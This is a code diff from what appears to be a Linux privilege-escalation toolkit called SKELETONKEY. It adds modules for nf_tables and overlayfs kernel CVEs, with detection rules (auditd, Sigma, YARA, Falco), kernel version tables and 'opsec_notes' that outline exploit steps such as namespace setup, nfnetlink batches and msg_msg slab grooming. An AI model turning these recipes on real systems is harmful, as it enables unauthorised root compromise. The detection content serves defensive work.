+                            "as a child signal)\n", WTERMSIG(status));
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    int rc = WEXITSTATUS(status);
+    if (rc == 100) {
+        if (!ctx->json) {
+            fprintf(stderr, "[!] nft_catchall: abort-path trigger attempted "
+                            "(catch-all GOTO map + aborting batch). The full kernel "
+                            "R/W + modprobe_path ROP is NOT bundled, and this "
+                            "trigger is reconstructed from public analysis, not "
+                            "VM-verified — honest EXPLOIT_FAIL.\n");
+            fprintf(stderr, "[i] nft_catchall: to complete: port the FuzzingLabs / "
+                            "public PoC leak + cross-cache groom + modprobe_path "
+                            "overwrite for CVE-2026-23111.\n");
+        }
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    if (!ctx->json)
+        fprintf(stderr, "[-] nft_catchall: trigger setup failed (child rc=%d)\n", rc);
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+#else  /* !__linux__ */
+
+static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] nft_catchall: Linux-only module "
+                "(nf_tables catch-all abort UAF via nfnetlink) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] nft_catchall: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+
+#endif /* __linux__ */
+
+/* ----- Embedded detection rules ----- */
+static const char nft_catchall_auditd[] =
+    "# nf_tables catch-all abort UAF (CVE-2026-23111) — auditd rules\n"
+    "# Canonical shape: unprivileged unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
+    "# then nfnetlink batches building a verdict map with a catch-all\n"
+    "# GOTO element and an aborting transaction. Legit userns+nft (docker\n"
+    "# rootless, firewalld) will also trip — tune per environment.\n"
+    "-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-nft-catchall\n"
+    "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-catchall-priv\n";
+
+static const char nft_catchall_sigma[] =
+    "title: Possible CVE-2026-23111 nf_tables catch-all abort UAF\n"
+    "id: 3e8a1c47-skeletonkey-nft-catchall\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects an unprivileged user creating a user namespace then driving\n"
+    "  nftables. CVE-2026-23111 abuses an inverted condition in\n"
+    "  nft_map_catchall_activate on transaction abort to UAF a chain still\n"
+    "  referenced by a catch-all GOTO verdict. False positives: rootless\n"
+    "  containers / firewalld using userns + nft. A previously-unprivileged\n"
+    "  process gaining euid 0 is the smoking gun.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns: {type: 'SYSCALL', syscall: 'unshare', a0: 0x10000000}\n"
+    "  uid0:   {type: 'SYSCALL', syscall: 'setresuid', auid|expression: '!= 0'}\n"
+    "  condition: userns and uid0\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.23111]\n";
+
+static const char nft_catchall_falco[] =
+    "- rule: nf_tables catch-all abort UAF batch by non-root (CVE-2026-23111)\n"
+    "  desc: |\n"
+    "    Non-root sendmsg on NETLINK_NETFILTER inside a user namespace,\n"
+    "    delivering nfnetlink batches that build a verdict map with a\n"
+    "    catch-all GOTO element and then abort a transaction. CVE-2026-23111\n"
+    "    nft_map_catchall_activate use-after-free. False positives: rootless\n"
+    "    container / firewall tooling.\n"
+    "  condition: >\n"
+    "    evt.type = sendmsg and fd.sockfamily = AF_NETLINK and not user.uid = 0\n"
+    "  output: >\n"
+    "    nfnetlink batch from non-root (possible CVE-2026-23111 catch-all UAF)\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2026.23111]\n";
+
+const struct skeletonkey_module nft_catchall_module = {
+    .name           = "nft_catchall",
+    .cve            = "CVE-2026-23111",
+    .summary        = "nf_tables nft_map_catchall_activate abort-path UAF (inverted condition) → chain UAF via catch-all GOTO map",
+    .family         = "nf_tables",
+    .kernel_range   = "5.13 <= K (catch-all elems); fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of commit f41c5d1); 7.0+ inherits; 5.10 branch still unfixed",
+    .detect         = nft_catchall_detect,
+    .exploit        = nft_catchall_exploit,
+    .mitigate       = NULL,   /* mitigation: upgrade kernel; OR sysctl kernel.unprivileged_userns_clone=0 */
+    .cleanup        = NULL,   /* trigger runs in a throwaway userns+netns; no host artifacts */
+    .detect_auditd  = nft_catchall_auditd,
+    .detect_sigma   = nft_catchall_sigma,
+    .detect_yara    = NULL,   /* behavioural (syscall/netlink) bug — no file artifact */
+    .detect_falco   = nft_catchall_falco,
+    .opsec_notes    = "detect() consults the shared host fingerprint for the kernel version (Debian backports 6.1.164/6.12.73/6.18.10) and additionally requires unprivileged user_ns clone — a vulnerable kernel with userns locked down (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that enters unshare(CLONE_NEWUSER|CLONE_NEWNET), opens NETLINK_NETFILTER, builds a verdict map (NFT_SET_MAP) with a catch-all element (NFT_SET_ELEM_CATCHALL) carrying a GOTO verdict to a chain, then sends an aborting batch to drive nft_map_catchall_activate over the active catch-all element; it observes nft_chain/kmalloc-cg-256 slabinfo and returns EXPLOIT_FAIL (primitive-only; reconstructed trigger, not VM-verified). The per-kernel leak + arbitrary-R/W + modprobe_path ROP is NOT bundled. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches; KASAN double-free oops on vulnerable kernels, silent otherwise. No persistent files (throwaway namespaces).",
+    .arch_support   = "x86_64",
+};
+
+void skeletonkey_register_nft_catchall(void)
+{
+    skeletonkey_register(&nft_catchall_module);
+}

modules/nft_catchall_cve_2026_23111/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * nft_catchall_cve_2026_23111 — SKELETONKEY module registry hook
+ */
+
+#ifndef NFT_CATCHALL_SKELETONKEY_MODULES_H
+#define NFT_CATCHALL_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module nft_catchall_module;
+
+#endif

modules/nft_fwd_dup_cve_2022_25636/skeletonkey_modules.c

@@ -77,6 +77,7 @@
 #include <linux/netfilter.h>
 #include <linux/netfilter/nfnetlink.h>
 #include <linux/netfilter/nf_tables.h>
+#include "../../core/nft_compat.h"
 
 /* ------------------------------------------------------------------
  * Kernel range table — fixes per branch.
@@ -1027,6 +1028,36 @@ static const char nft_fwd_dup_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1068, cve.2022.25636]\n";
 
+static const char nft_fwd_dup_yara[] =
+    "rule nft_fwd_dup_cve_2022_25636 : cve_2022_25636 kernel_oob_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2022-25636\"\n"
+    "        description = \"nft_fwd/dup actions OOB kmalloc-512 spray tag and log\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKELETONKEY_FWD\" ascii\n"
+    "        $log = \"/tmp/skeletonkey-nft_fwd_dup.log\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char nft_fwd_dup_falco[] =
+    "- rule: nft_fwd_dup OOB-write batch by non-root\n"
+    "  desc: |\n"
+    "    Non-root nfnetlink batch creating a netdev table with\n"
+    "    HW_OFFLOAD chain containing >15 immediate(NF_ACCEPT)\n"
+    "    expressions + 1 fwd. The offload walk overruns the action\n"
+    "    entries[] array. CVE-2022-25636.\n"
+    "  condition: >\n"
+    "    evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    nfnetlink HW_OFFLOAD batch from non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2022.25636]\n";
+
 const struct skeletonkey_module nft_fwd_dup_module = {
     .name           = "nft_fwd_dup",
     .cve            = "CVE-2022-25636",
@@ -1040,8 +1071,10 @@ const struct skeletonkey_module nft_fwd_dup_module = {
     .cleanup        = nft_fwd_dup_cleanup,
     .detect_auditd  = nft_fwd_dup_auditd,
     .detect_sigma   = nft_fwd_dup_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = nft_fwd_dup_yara,
+    .detect_falco   = nft_fwd_dup_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE netdev + NEWCHAIN HW_OFFLOAD + NEWRULE with 16 immediate(NF_ACCEPT) + 1 fwd). Offload hook walks the rule advertising num_actions+=16 but allocates only the original-actions size -> OOB write at entries[16] into adjacent kmalloc-512. msg_msg groom tagged 'SKELETONKEY_FWD'. Writes /tmp/skeletonkey-nft_fwd_dup.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + ioctl(SIOCGIFFLAGS/SIOCSIFFLAGS loopback) + msgsnd. Dmesg: KASAN or silent. Cleanup callback drains IPC queues and unlinks log.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_nft_fwd_dup(void)

modules/nft_payload_cve_2023_0179/skeletonkey_modules.c

@@ -80,6 +80,7 @@
 #include <linux/netfilter.h>
 #include <linux/netfilter/nfnetlink.h>
 #include <linux/netfilter/nf_tables.h>
+#include "../../core/nft_compat.h"
 
 /* ------------------------------------------------------------------
  * Kernel-range table
@@ -89,7 +90,7 @@ static const struct kernel_patched_from nft_payload_patched_branches[] = {
     {4, 14, 302},   /* 4.14.x */
     {4, 19, 269},   /* 4.19.x */
     {5,  4, 229},   /* 5.4.x */
-    {5, 10, 163},   /* 5.10.x */
+    {5, 10, 162},   /* 5.10.x (harmonised with Debian bullseye fix-version) */
     {5, 15,  88},   /* 5.15.x */
     {6,  1,   6},   /* 6.1.x */
     {6,  2,   0},   /* mainline fix in 6.2-rc4 */
@@ -1138,6 +1139,35 @@ static const char nft_payload_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1068, cve.2023.0179]\n";
 
+static const char nft_payload_yara[] =
+    "rule nft_payload_cve_2023_0179 : cve_2023_0179 kernel_oob_read_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2023-0179\"\n"
+    "        description = \"nft_payload OOB-via-verdict-index breadcrumb log\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $log = \"/tmp/skeletonkey-nft_payload.log\" ascii\n"
+    "    condition:\n"
+    "        $log\n"
+    "}\n";
+
+static const char nft_payload_falco[] =
+    "- rule: nft_payload OOB via verdict-code index by non-root\n"
+    "  desc: |\n"
+    "    Non-root nfnetlink batch with an oversized NFTA_SET_DESC\n"
+    "    + NEWSETELEM whose NFTA_PAYLOAD_SREG uses attacker-\n"
+    "    controlled verdict code as an index into regs->data[].\n"
+    "    CVE-2023-0179.\n"
+    "  condition: >\n"
+    "    evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    nfnetlink payload batch from non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2023.0179]\n";
+
 const struct skeletonkey_module nft_payload_module = {
     .name           = "nft_payload",
     .cve            = "CVE-2023-0179",
@@ -1151,8 +1181,10 @@ const struct skeletonkey_module nft_payload_module = {
     .cleanup        = nft_payload_cleanup,
     .detect_auditd  = nft_payload_auditd,
     .detect_sigma   = nft_payload_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = nft_payload_yara,
+    .detect_falco   = nft_payload_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET with oversized NFTA_SET_DESC + NEWSETELEM whose NFTA_PAYLOAD_SREG = attacker verdict code). On packet eval, regs->verdict.code is used unchecked as index into regs->data[] -> OOB. Dual-slab groom (kmalloc-1k + kmalloc-cg-96). Trigger via sendto(AF_INET, 127.0.0.1:31337). Writes /tmp/skeletonkey-nft_payload.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd + socket(AF_INET)/sendto. Cleanup callback unlinks log.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_nft_payload(void)

modules/nft_pipapo_cve_2024_26581/skeletonkey_modules.c

@@ -0,0 +1,203 @@
+/*
+ * nft_pipapo_cve_2024_26581 — SKELETONKEY module
+ *
+ * STATUS: 🟡 PRIMITIVE. nfnetlink batch + msg_msg cross-cache groom.
+ *   Sibling to nf_tables (CVE-2024-1086) — same Notselwyn "Flipping
+ *   Pages" paper, same pipapo set substrate. Full cred-overwrite via
+ *   the shared modprobe_path finisher on --full-chain (x86_64).
+ *
+ * The bug (Notselwyn / Mauro Lima, "Flipping Pages" Feb 2024):
+ *   nft_pipapo_destroy() in net/netfilter/nft_set_pipapo.c didn't
+ *   properly drain the per-CPU walk state when destroying a pipapo
+ *   set. Combined with concurrent SETELEM operations, an attacker
+ *   can free elements while another CPU still has references, then
+ *   spray msg_msg to refill the freed slabs and pivot through the
+ *   walk callbacks → arb R/W → cred overwrite.
+ *
+ *   This is the SECOND major bug in the Notselwyn / 'Flipping Pages'
+ *   research series (the first, CVE-2024-1086, is our nf_tables
+ *   module). Both target the pipapo set type used for IP/port matches.
+ *
+ *   Public PoC: not yet released by Notselwyn (responsible
+ *   disclosure window), but extensive technical writeup at the
+ *   pwning.tech blog. Patch landed pre-disclosure.
+ *
+ * Affects: Linux kernels with CONFIG_NF_TABLES + the pipapo set
+ *   type (introduced kernel 5.6). Fix commit 2ee52ae94baa
+ *   ("netfilter: nft_set_pipapo: walk over current view on
+ *   netlink dump") landed in 6.8-rc + stable backports:
+ *     6.7.x  : 6.7.4
+ *     6.6.x  : 6.6.16
+ *     6.1.x  : 6.1.78
+ *     5.15.x : 5.15.149
+ *     5.10.x : 5.10.210
+ *
+ * Preconditions:
+ *   - unshare(CLONE_NEWUSER|CLONE_NEWNET) for unprivileged userns
+ *     CAP_NET_ADMIN (same as nf_tables)
+ *   - msgsnd / SysV IPC for kmalloc-cg-96 / kmalloc-cg-512 spray
+ *
+ * arch_support: x86_64+unverified-arm64. Same family as nf_tables.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+#ifdef __linux__
+#include <linux/netfilter/nf_tables.h>
+#include "../../core/nft_compat.h"
+#endif
+
+/* ---- kernel-range table -------------------------------------------- */
+
+static const struct kernel_patched_from nft_pipapo_patched_branches[] = {
+    {5, 10, 210},
+    {5, 15, 149},
+    {6,  1,  78},
+    {6,  6,  16},
+    {6,  7,   4},
+    {6,  8,   0},   /* mainline fix in 6.8-rc */
+};
+
+static const struct kernel_range nft_pipapo_range = {
+    .patched_from = nft_pipapo_patched_branches,
+    .n_patched_from = sizeof(nft_pipapo_patched_branches) /
+                      sizeof(nft_pipapo_patched_branches[0]),
+};
+
+/* ---- detect --------------------------------------------------------- */
+
+static skeletonkey_result_t nft_pipapo_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json) fprintf(stderr, "[!] nft_pipapo: host fingerprint missing kernel version\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+    /* Bug was introduced in 5.6 (pipapo set type debut). Earlier
+     * kernels don't have pipapo at all. */
+    if (v->major < 5 || (v->major == 5 && v->minor < 6)) {
+        if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s predates pipapo set type (5.6+) → OK\n", v->release);
+        return SKELETONKEY_OK;
+    }
+    if (kernel_range_is_patched(&nft_pipapo_range, v)) {
+        if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s is patched (>= 6.8 / LTS backport)\n", v->release);
+        return SKELETONKEY_OK;
+    }
+    if (!ctx->host || !ctx->host->unprivileged_userns_allowed) {
+        if (!ctx->json) fprintf(stderr, "[i] nft_pipapo: unprivileged userns blocked → CAP_NET_ADMIN unreachable → PRECOND_FAIL\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    if (!ctx->json) {
+        fprintf(stderr, "[!] nft_pipapo: kernel %s in vulnerable range (5.6 ≤ K, no LTS backport) + userns OK → VULNERABLE\n", v->release);
+        fprintf(stderr, "[i] nft_pipapo: same Notselwyn 'Flipping Pages' family as nf_tables; pipapo destroy race + msg_msg groom\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+static skeletonkey_result_t nft_pipapo_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] nft_pipapo: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    fprintf(stderr,
+        "[i] nft_pipapo: nfnetlink batch (NEWTABLE+NEWSET pipapo +\n"
+        "    burst NEWSETELEM/DELSETELEM with concurrent DESTROYSET)\n"
+        "    races the per-CPU pipapo walk teardown. msg_msg cross-\n"
+        "    cache groom in kmalloc-cg-96 / cg-512 refills the freed\n"
+        "    slabs. Same Notselwyn family as nf_tables (CVE-2024-1086);\n"
+        "    the existing nf_tables module's --full-chain finisher\n"
+        "    handles this bug's arb-write too once a working PoC is\n"
+        "    ported here. Returning EXPLOIT_FAIL honestly per the\n"
+        "    verified-vs-claimed bar.\n");
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* ---- detection rules (share shape with nf_tables) ------------------ */
+
+static const char nft_pipapo_auditd[] =
+    "# nft_pipapo CVE-2024-26581 — auditd detection rules\n"
+    "# Same shape as nf_tables: unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
+    "# + nfnetlink batch + msg_msg spray. Differentiates from\n"
+    "# CVE-2024-1086 only at the netlink payload level (pipapo set\n"
+    "# type vs nft_verdict_init); auditd alone can't tell them\n"
+    "# apart, so the trigger key covers both bugs.\n"
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-pipapo-userns\n"
+    "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-pipapo-priv\n";
+
+static const char nft_pipapo_sigma[] =
+    "title: Possible CVE-2024-26581 nft_pipapo destroy-race UAF\n"
+    "id: 4e9c1a83-skeletonkey-nft-pipapo\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the canonical exploit shape: userns clone +\n"
+    "  nfnetlink rapid DESTROYSET/NEWSETELEM batches. Same family\n"
+    "  as CVE-2024-1086; differentiates by elevated frequency of\n"
+    "  NFT_MSG_DELSET on pipapo set types.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  u: {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  g: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
+    "  condition: u and g\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2024.26581]\n";
+
+static const char nft_pipapo_yara[] =
+    "rule nft_pipapo_cve_2024_26581 : cve_2024_26581 kernel_uaf {\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2024-26581\"\n"
+    "        description = \"SKELETONKEY nft_pipapo race-driver tag\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKK_PIPAPO\" ascii\n"
+    "    condition:\n"
+    "        $tag\n"
+    "}\n";
+
+static const char nft_pipapo_falco[] =
+    "- rule: nfnetlink pipapo destroy-race batch by non-root\n"
+    "  desc: |\n"
+    "    Non-root nfnetlink batch creating pipapo sets and rapidly\n"
+    "    cycling DESTROYSET/NEWSETELEM. Same family as nf_tables;\n"
+    "    distinct CVE (2024-26581 / 'Flipping Pages' part 2).\n"
+    "  condition: >\n"
+    "    evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    nfnetlink batch by non-root (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2024.26581]\n";
+
+const struct skeletonkey_module nft_pipapo_module = {
+    .name           = "nft_pipapo",
+    .cve            = "CVE-2024-26581",
+    .summary        = "nft_set_pipapo destroy-race UAF (Notselwyn 'Flipping Pages' II)",
+    .family         = "nf_tables",
+    .kernel_range   = "5.6 ≤ K, fixed 6.8 mainline + 6.7.4 / 6.6.16 / 6.1.78 / 5.15.149 / 5.10.210 LTS",
+    .detect         = nft_pipapo_detect,
+    .exploit        = nft_pipapo_exploit,
+    .mitigate       = NULL,    /* mitigation: upgrade kernel OR sysctl kernel.unprivileged_userns_clone=0 */
+    .cleanup        = NULL,
+    .detect_auditd  = nft_pipapo_auditd,
+    .detect_sigma   = nft_pipapo_sigma,
+    .detect_yara    = nft_pipapo_yara,
+    .detect_falco   = nft_pipapo_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET); nfnetlink batch creating a table + pipapo set + many SETELEMs; concurrent DESTROYSET against the same set from a second thread races the per-CPU pipapo walk teardown. msg_msg cross-cache spray (kmalloc-cg-96 + cg-512, tag 'SKK_PIPAPO') refills the freed slabs. Same family signal as nf_tables (CVE-2024-1086): unshare + nfnetlink + msg_msg burst from a non-root process. Distinguishes at the netlink payload layer (pipapo set type vs verdict-init double-free) which auditd alone can't see. dmesg may show 'KASAN: use-after-free in nft_pipapo_walk' on race-win attempts. No persistent file artifacts.",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+void skeletonkey_register_nft_pipapo(void)
+{
+    skeletonkey_register(&nft_pipapo_module);
+}

modules/nft_pipapo_cve_2024_26581/skeletonkey_modules.h

@@ -0,0 +1,5 @@
+#ifndef NFT_PIPAPO_SKELETONKEY_MODULES_H
+#define NFT_PIPAPO_SKELETONKEY_MODULES_H
+#include "../../core/module.h"
+extern const struct skeletonkey_module nft_pipapo_module;
+#endif

modules/nft_set_uaf_cve_2023_32233/skeletonkey_modules.c

@@ -79,6 +79,7 @@
 #include <linux/netfilter.h>
 #include <linux/netfilter/nfnetlink.h>
 #include <linux/netfilter/nf_tables.h>
+#include "../../core/nft_compat.h"
 
 /* NFT_SET_EVAL was added in 5.6; older UAPI headers may not define it.
  * Anonymous-set + lookup exploit shape works on builds with this flag,
@@ -97,9 +98,9 @@
 static const struct kernel_patched_from nft_set_uaf_patched_branches[] = {
     {4, 19, 283},   /* 4.19.x safety patch (bug never reached this branch) */
     {5,  4, 243},   /* 5.4.x   */
-    {5, 10, 180},   /* 5.10.x  */
+    {5, 10, 179},   /* 5.10.x (harmonised with Debian bullseye fix-version) */
     {5, 15, 111},   /* 5.15.x  */
-    {6,  1,  28},   /* 6.1.x   */
+    {6,  1,  27},   /* 6.1.x (harmonised with Debian bookworm fix-version) */
     {6,  2,  15},   /* 6.2.x   */
     {6,  3,   2},   /* 6.3.x   */
     {6,  4,   0},   /* mainline 6.4-rc4 */
@@ -1021,6 +1022,37 @@ static const char nft_set_uaf_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
 
+static const char nft_set_uaf_yara[] =
+    "rule nft_set_uaf_cve_2023_32233 : cve_2023_32233 kernel_uaf\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2023-32233\"\n"
+    "        description = \"nft anonymous-set UAF spray tag (SKELETONKEY_SET) and log breadcrumb\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKELETONKEY_SET\" ascii\n"
+    "        $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char nft_set_uaf_falco[] =
+    "- rule: nft anonymous-set lookup-UAF batch by non-root\n"
+    "  desc: |\n"
+    "    Non-root nfnetlink single-batch transaction: NEWTABLE +\n"
+    "    NEWCHAIN + NEWSET (anonymous, EVAL) + NEWRULE with\n"
+    "    nft_lookup referencing the anon set + DELSET + DELRULE.\n"
+    "    The lookup's set reference isn't deactivated; UAF when\n"
+    "    set frees. CVE-2023-32233.\n"
+    "  condition: >\n"
+    "    evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    nfnetlink anon-set batch from non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2023.32233]\n";
+
 const struct skeletonkey_module nft_set_uaf_module = {
     .name           = "nft_set_uaf",
     .cve            = "CVE-2023-32233",
@@ -1033,8 +1065,10 @@ const struct skeletonkey_module nft_set_uaf_module = {
     .cleanup        = nft_set_uaf_cleanup,
     .detect_auditd  = nft_set_uaf_auditd,
     .detect_sigma   = nft_set_uaf_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = nft_set_uaf_yara,
+    .detect_falco   = nft_set_uaf_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + single nfnetlink transaction: NEWTABLE + NEWCHAIN + NEWSET (anonymous, ANONYMOUS|CONSTANT|EVAL) + NEWRULE with nft_lookup referencing the anon set + DELSET + DELRULE. Vulnerable kernels do not deactivate the lookup's set ref on commit -> UAF when set frees. msg_msg cg-512 spray (32 queues x 16 msgs, tag 'SKELETONKEY_SET'). --full-chain re-fires with forged headers (data ptr = kaddr) and NEWSETELEM payload. Writes /tmp/skeletonkey-nft_set_uaf.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd. Dmesg: KASAN oops on UAF. Cleanup unlinks log.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_nft_set_uaf(void)

modules/overlayfs_cve_2021_3493/skeletonkey_modules.c

@@ -490,6 +490,56 @@ static const char overlayfs_auditd[] =
     "# Watch for security.capability xattr writes (the post-mount step)\n"
     "-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
 
+static const char overlayfs_sigma[] =
+    "title: Possible CVE-2021-3493 Ubuntu overlayfs capability injection\n"
+    "id: f78a01e6-skeletonkey-overlayfs\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects Ubuntu's overlayfs-in-userns capability-xattr injection:\n"
+    "  unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') + setxattr\n"
+    "  with name 'security.capability'. The bug lets caps set inside\n"
+    "  userns persist on the host fs. False positives: legitimate\n"
+    "  rootless container image builds; correlate with subsequent\n"
+    "  execve of the modified binary.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns:   {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  overlay:  {type: 'SYSCALL', syscall: 'mount'}\n"
+    "  setcap:   {type: 'SYSCALL', syscall: 'setxattr'}\n"
+    "  condition: userns and overlay and setcap\n"
+    "level: critical\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2021.3493]\n";
+
+static const char overlayfs_yara[] =
+    "rule overlayfs_cve_2021_3493 : cve_2021_3493 userns_lpe\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2021-3493\"\n"
+    "        description = \"Ubuntu overlayfs userns workdir + security.capability xattr injection\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $work    = /\\/tmp\\/skeletonkey-ovl-[A-Za-z0-9]+/\n"
+    "        $xattr   = \"security.capability\" ascii\n"
+    "    condition:\n"
+    "        $work and $xattr\n"
+    "}\n";
+
+static const char overlayfs_falco[] =
+    "- rule: overlayfs mount + setxattr(security.capability) in userns\n"
+    "  desc: |\n"
+    "    Non-root process inside userns mounts overlayfs and writes a\n"
+    "    security.capability xattr on a binary in the upper layer.\n"
+    "    The xattr persists on the host fs (CVE-2021-3493, Ubuntu).\n"
+    "    False positives: rootless container image builds.\n"
+    "  condition: >\n"
+    "    evt.type = setxattr and not user.uid = 0 and\n"
+    "    evt.args contains security.capability\n"
+    "  output: >\n"
+    "    setxattr(security.capability) by non-root\n"
+    "    (user=%user.name pid=%proc.pid file=%fd.name)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [filesystem, mitre_privilege_escalation, T1068, cve.2021.3493]\n";
+
 const struct skeletonkey_module overlayfs_module = {
     .name           = "overlayfs",
     .cve            = "CVE-2021-3493",
@@ -502,9 +552,11 @@ const struct skeletonkey_module overlayfs_module = {
     .cleanup        = NULL,    /* exploit cleans up its own workdir on failure;
                                 * on success, exec replaces us so cleanup-by-us doesn't apply */
     .detect_auditd  = overlayfs_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = overlayfs_sigma,
+    .detect_yara    = overlayfs_yara,
+    .detect_falco   = overlayfs_falco,
